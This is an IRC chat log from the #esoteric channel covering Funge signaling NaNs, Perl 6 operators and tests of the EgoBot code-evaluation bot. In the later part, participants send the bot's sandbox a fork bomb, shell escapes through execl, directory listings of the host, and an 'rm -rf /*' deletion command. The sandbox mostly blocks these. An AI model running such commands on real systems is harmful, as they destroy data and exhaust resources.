:psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :guys < 1241352021 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I can't get into the department atm, both doors failed < 1241352024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and so they had to be locked by hand < 1241352037 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :would one of you mind reviewing a draft of a paper im writing? < 1241352039 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :please? :3 < 1241352053 0 :tombom!i=tombom@82.25.203.43 JOIN :#esoteric < 1241352102 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : but I can't get into the department atm, both doors failed <-- ouch < 1241352117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it is no longer the Door < 1241352118 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as you said several months ago, how hard can a door be? < 1241352119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but the Doors < 1241352122 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :eys < 1241352123 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*yes < 1241352140 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :It's Breeding < 1241352140 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the Door controller virus is spreading! < 1241352141 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1241352157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, you think it isn't infected < 1241352159 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1241352173 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, the virus < 1241352231 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fortunately it has not yet learned to transmit to humans < 1241352259 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but beware if you sense the Smell of Bacon, that means it's almost there < 1241352301 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this is likely to happen when it mixes with the swine flu in a few weeks < 1241352312 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(or maybe months) < 1241352383 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you will then have to hermetically seal the department, including its internet connections. < 1241352412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, does x86 support signaling NaN < 1241352424 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you will then be lulled into a false sense of security, until one day, before christmas 2012... < 1241352462 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :when it shall escape through a combination of the sewers and a cable network. < 1241352477 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't know < 1241352485 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the world's first Cyborg Virus < 1241352486 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hardware signals are a mess on x86 anyway < 1241352508 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there weren't really any in real mode, I think they were added in a hurry in protected mode < 1241352518 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I'm not used to protected-mode x86 programming < 1241352537 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Hollywood: Please contact me for the movie rights. < 1241352759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, hm... Was just wondering what would happen if some funge programmer crafted a signaling NaN and used it in FPSP and/or FPDP < 1241352795 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a signal, obviously < 1241352799 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's SIGFPE, I think# < 1241352821 0 :MizardX!n=MizardX@78-70-156-36-no80.tbcn.telia.com JOIN :#esoteric < 1241352823 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could just set up an ignore handler for it, it would hardly waste any time at startup and it wouldn't invoke a time cost on the rest of execution < 1241352880 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Unless the programmer /wanted/ a signal < 1241352890 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is probably likely, given that he made a signaling NaN. < 1241352899 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you'd need a signal-handling fingerprint, then < 1241352911 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think Mike might even have made one. < 1241352918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could do it via IFFI, I suppose < 1241352929 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But no, you don't need one, you can just crash, which is probably what the programmer expected if he did that. < 1241352934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh < 1241352961 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I thought cfunge was never meant to crash no matter what the input < 1241352986 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Inducing a hardware crash like that is fine IMO < 1241353000 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's somewhat arbitrary whether the program or the interpreter is the one crashing < 1241353005 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it could be a security bug, thuogh < 1241353006 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*though < 1241353018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Denial of service? < 1241353022 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241353037 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if the user of the large commercial Funge application goes and sneaks a signalling NaN in somewhere < 1241353040 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and everything crashes < 1241353049 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :If you're transmitting floating-point data in binary, yes < 1241353052 0 :pikhq!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1241353141 0 :pikhq!n=pikhq@99-196-16-139.cust.wildblue.net JOIN :#esoteric < 1241353600 0 :ais523!unknown@unknown.invalid QUIT :"http://www.mibbit.com ajax IRC Client" < 1241353787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1241353928 0 :FireFly!n=FireFly@1-1-3-36a.tul.sth.bostream.se JOIN :#esoteric < 1241354097 0 :tombom!unknown@unknown.invalid QUIT :"Peace and Protection 4.22.2" < 1241354304 0 :oklopol!n=oklopol@a91-153-122-163.elisa-laajakaista.fi JOIN :#esoteric < 1241354745 0 :WangZeDong!n=butt@ANantes-259-1-20-175.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1241354931 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think you can get x86 (or SSE at least) to throw signals when it sees signaling NaNs, but you need to twiddle some bits for it, it won't happen automatically. There's a gcc flag "-fsignaling-nans" which can be turned on to tell GCC that signaling nans might happen, and exceptions might be thrown, but it is "experimental and does not currently guarantee to disable all GCC optimizations that affect signaling NaN behavior." < 1241355036 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :As far as I can tell, "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@ should use a signaling nan in a calculation (given IEEE-754 single-precision floats and x86-style signaling/quiet NaNs, where the first bit of the fraction part determines it), but around here it just prints out "nan". < 1241355089 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I also saw some references about x87 automatically (when loading the fpu registers) setting that bit in NaNs, making it tricky to return a signaling nan from a function. < 1241355102 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's a bit platform-dependant, of course. < 1241355143 0 :oerjan!unknown@unknown.invalid QUIT :"leaving" < 1241355493 0 :Slereah!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241355646 0 :oklopol!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241356889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!befunge98 "PSPF"4( 22:*:*:*:*2:*:*2**aaa**ab++* 1F A Pa,@ < 1241356890 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :nan < 1241356901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, that doesn't seem to signal badly < 1241356914 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot runs cfunge on x86_64 < 1241356935 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :32-bit cells < 1241356966 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it probably does it in SSE < 1241357576 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. I'm not quite sure how to make it barf, but it does not seem to be very popular decision to barf on signaling nans by default. < 1241357832 0 :tombom!i=tombom@wikipedia/Tombomp JOIN :#esoteric < 1241357833 0 :tombom!unknown@unknown.invalid QUIT :Remote closed the connection < 1241357849 0 :tombom!i=tombom@82.25.203.43 JOIN :#esoteric < 1241358473 0 :ais523!n=ais523@147.188.254.118 JOIN :#esoteric < 1241360007 0 :ais523_!n=ais523@147.188.254.118 JOIN :#esoteric < 1241360171 0 :nooga!n=nooga@86-63-90-113.sta.asta-net.com.pl JOIN :#esoteric < 1241360213 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :!underload (test)S < 1241360213 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :testAttempt to execute unknown command 10 < 1241360251 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: you should stop EgoBot feeding newlines automatically to the Underload interp, whitespace is a syntax error in Underload unless commented out < 1241360253 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!"2hi < 1241360263 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :nooga: ? < 1241360270 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :SADOL ;p < 1241360817 0 :ais523!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241361767 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :! < 1241361775 0 :ais523_!unknown@unknown.invalid NICK :ais523 < 1241363079 0 :MizardX!unknown@unknown.invalid QUIT :"What are you sinking about?" < 1241363500 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ACTION yells mentally at some brilliant Perl6 design decisions, that have now been reversed < 1241363536 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they originally planned "$obj.method + 1" to mean "$obj.method() + 1" and "$obj.method +1" to mean "$obj.method(+1)" < 1241363549 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but unfortunately decided whitespace-sensitive DWIM wasn't a good idea, pity < 1241363785 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :sucks < 1241364300 0 :KingOfKarlsruhe!n=nice@HSI-KBW-091-089-027-168.hsi2.kabelbw.de JOIN :#esoteric < 1241367439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I need to get a new mouse < 1241367467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scroll wheel kind of not working, and cleaning it didn't help. < 1241367512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it get gets stuck in some places so hard that to get enough traction to scroll it past you end up clicking the scroll wheel < 1241367876 0 :nooga!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241368361 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :heh, Perl6 has a "but" operator < 1241368437 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's rather different from INTERCAL's, though < 1241369096 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. I get the feeling that Perl soon is going to be a superset of INTERCAL. < 1241369119 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's a patch for Perl (an older version than 6, though) lying around somewhere that adds all the INTERCAL operators to it < 1241369129 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I haven't noticed any sort of comefrom yet, though < 1241369311 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Perl6 has moved to non-ASCII operators, though, it seems < 1241369320 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :like «» < 1241369540 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!underload (test)S < 1241369540 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :test < 1241369556 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, that's better < 1241369559 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!underload ( < 1241369559 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Error: Expected ) at end of input < 1241369564 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as is that < 1241369634 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Farfigneugan. < 1241369653 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241369666 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :At some point they said ¥ will be infix form of the zip operator, but it seems to have changed to be just infix "Z". ≥ will still be a valid spelling of >=, I think. < 1241369767 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Huh, I can't even type ≥ < 1241369773 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I can type « < 1241369779 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And ¥ < 1241369818 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I can type those, but not in a terminal. < 1241369822 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Perl6 should aim to be a language that nobody can actually type. < 1241369827 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(urxvt hates the compose key) < 1241369837 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Which is to say, even worse than Perl 5. < 1241369838 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does Perl5 have a $^H, I wonder? < 1241369859 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because if it does, then it would support $ followed by a literal backspace as a pseudonym < 1241369866 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and everyone knows langs need more literal backspaces in < 1241369895 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; < 1241369901 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Err < 1241369901 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; < 1241369901 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Just another Perl hacker, < 1241369925 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, EgoBot has a !perl? < 1241369933 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!ruby p "yo" < 1241369938 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241369939 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!python print "yo" < 1241369939 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241369941 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Perl is an esolang :P < 1241369944 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no ruby, it seems < 1241369945 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh :-P < 1241369954 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Discrimination against the other generic scripting languages < 1241369958 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: PHP! < 1241369965 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That, at least, is an esolang < 1241369978 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("And to be fair, C isn't an esolang, but it's in there :P") < 1241369979 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :And to be fair, C isn't an esolang, but it's in there :P < 1241369994 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c assert(0) < 1241369995 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370000 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c assert(0); < 1241370001 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370010 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :[16:59] ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.28812: No such file or directory < 1241370016 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c #include assert(0); < 1241370017 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a slightly weird error for me to be getting... < 1241370025 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's the error it always gives when it fails, I think < 1241370031 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, aha < 1241370044 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Something didn't compile so it tells you that it couldn't find the compiled file :-P < 1241370056 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: It is the kind of thing that shouldn't go to IRC, though... < 1241370059 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I should probably make it exit after it fails to compile:P < 1241370070 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oooooh, the name of a temporary file, I'm afeared. < 1241370074 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)__STDC_VERSION__) < 1241370075 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370088 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)__STDC_VERSION) < 1241370088 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370104 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)STDC) < 1241370105 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370116 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)4) < 1241370117 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :4 < 1241370150 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it is __STDC_VERSION__, it seems < 1241370186 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_REVISION__) < 1241370186 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370197 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Apparently none of us remember this stuff ;) < 1241370202 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__) < 1241370203 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :4.3.3 < 1241370211 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)__LINE__) < 1241370212 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :7 < 1241370221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%ld",(long)__STDC_VERSION__) < 1241370222 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241370229 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ugh, i just looked it up as well < 1241370230 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!c while(1)fork(); < 1241370237 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1241370246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's got to be sandboxed, surely? < 1241370249 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't recall __STDC_VERSION__ existing. < 1241370251 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!underload (test)S < 1241370251 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :test < 1241370253 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yeah, that does nothing. < 1241370255 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: it's C94 < 1241370260 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And C99. < 1241370262 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241370264 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :He's got a heavy process limit in place. < 1241370269 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It does *something*, but not much. < 1241370275 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c system("echo I can\\'t even system :(") < 1241370300 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Well, it fails to fork repeatedly for 30 seconds :P < 1241370312 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: See? That's something. < 1241370330 0 :BeholdMyGlory!unknown@unknown.invalid PART #esoteric :? < 1241370348 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo foo >bar;cat bar;rm bar < 1241370366 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execl("/bin/sh","-c","echo test"); < 1241370368 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :./interps/gcccomp/gcccomp: line 55: 29351 Segmentation fault /tmp/compiled.$$ 2>&1 < 1241370373 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Sorry, I removed sh :P < 1241370379 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Aaaaw. < 1241370380 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, I didn't expect that... < 1241370386 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Learn to use execl, luser :P < 1241370389 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, null-terminated < 1241370391 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execl("/bin/sh","-c","echo test",0); < 1241370393 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/sh: echo test: No such file or directory < 1241370394 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh. < 1241370397 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Learn to use execl, luser :P < 1241370399 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execl("/bin/sh","-c","echo","test",0); < 1241370400 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/echo: /bin/echo: cannot execute binary file < 1241370404 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Learn to use execl, luser :P < 1241370405 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: no, learn to use test < 1241370417 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*sh < 1241370417 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :No, in fact, learn to use execl. < 1241370428 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Clue: What's argv[0] < 1241370428 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you're right < 1241370436 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("sh","sh","-c","echo test\0"); < 1241370437 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :./interps/gcccomp/gcccomp: line 55: 29455 Segmentation fault /tmp/compiled.$$ 2>&1 < 1241370439 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execl("/bin", "sh","-c","echo test",0); < 1241370452 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh for cripes sake X_X < 1241370456 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("sh","sh","-c","echo test",0); < 1241370457 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :test < 1241370462 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("sh","sh","-c","echo test\0"); < 1241370463 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :./interps/gcccomp/gcccomp: line 55: 29555 Segmentation fault /tmp/compiled.$$ 2>&1 < 1241370467 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You fail. < 1241370468 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. < 1241370471 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I misread the manpage twice... < 1241370480 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Null terminating a null-terminated string won't help. ;) < 1241370495 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It will use one delicious extra byte though. < 1241370499 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I was wondering how it's different from passing a null argument. < 1241370500 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","echo test",0); < 1241370501 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :test < 1241370505 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's better < 1241370514 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: By being not the same in any way, shape or form. < 1241370519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: execl is varargs, it uses a null argument to terminate the arglist < 1241370537 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, long story short, you can exec, you j ust can't fork. < 1241370540 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Sticking a NULL as the last argument pushes 0 on the stack. < 1241370546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","echo *",0); < 1241370547 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Makefile PRIVMSG daemon.sh daemons daemons.tmp fifowrap fix hcmds interps lib scmds slox subinterp.sh subinterps < 1241370548 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, right, it turns into an array of pointers. < 1241370559 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that was interesting... < 1241370564 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","cd /bin; echo *",0); < 1241370565 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bash busybox cat chgrp chmod chown chvt cp cpio date dd df dir dmesg dnsdomainname dumpkeys echo ed egrep false fgconsole fgrep fuser grep gunzip gzexe gzip hostname ip kbd_mode kill less lessecho lessfile lesskey lesspipe ln loadkeys login ls lsmod mkdir mknod mktemp more mount mountpoint mt mt-gnu mv nano nc nc.traditional netcat netstat open openvt pidof ping ping6 ps pwd rbash readlink rm rmdir rnano run-parts sed setfont sh sleep stty su sync tai < 1241370565 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sticking a NULL on the end of the string does nothing more than add an extra byte to the string. < 1241370571 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I've just been coding too much Funge :-P < 1241370590 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c execl("/bin/sh", "/bin/sh", "-c", "rm -rf /*", NULL) < 1241370591 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `/bin': Function not implemented < 1241370592 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There there's no difference between a double-null-terminated string and a null-terminated string followed by an empty null-terminated string < 1241370603 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, not necessarily an array of pointers, but yeah. < 1241370606 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just too much funge for you. < 1241370617 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :"Function not implemented" is a weird error for the sandbox to give :P < 1241370622 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Conceptually. < 1241370637 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, ENOTIMPLEMENTED to block unlink() is certainly a sane way to say you can't do it < 1241370642 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although maybe EACCESS would be better < 1241370645 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Conceptually this is an array of pointers to strings, not just a bunch of concatenated string arrays ... < 1241370655 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yeah, EACCESS is what I expected. < 1241370657 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Yeah, exactly. < 1241370676 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","cd /home; echo *",0); < 1241370676 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For some reason I was thinking that it'd be concatenated in memory. < 1241370677 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :egobot < 1241370690 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :aww, egobot knows its own name < 1241370691 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","cd $home; echo *",0); < 1241370692 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :egobot.hg < 1241370708 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","ls -l $home; echo *",0); < 1241370709 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/sh: fork: Resource temporarily unavailable < 1241370719 0 :Deewiant!unknown@unknown.invalid 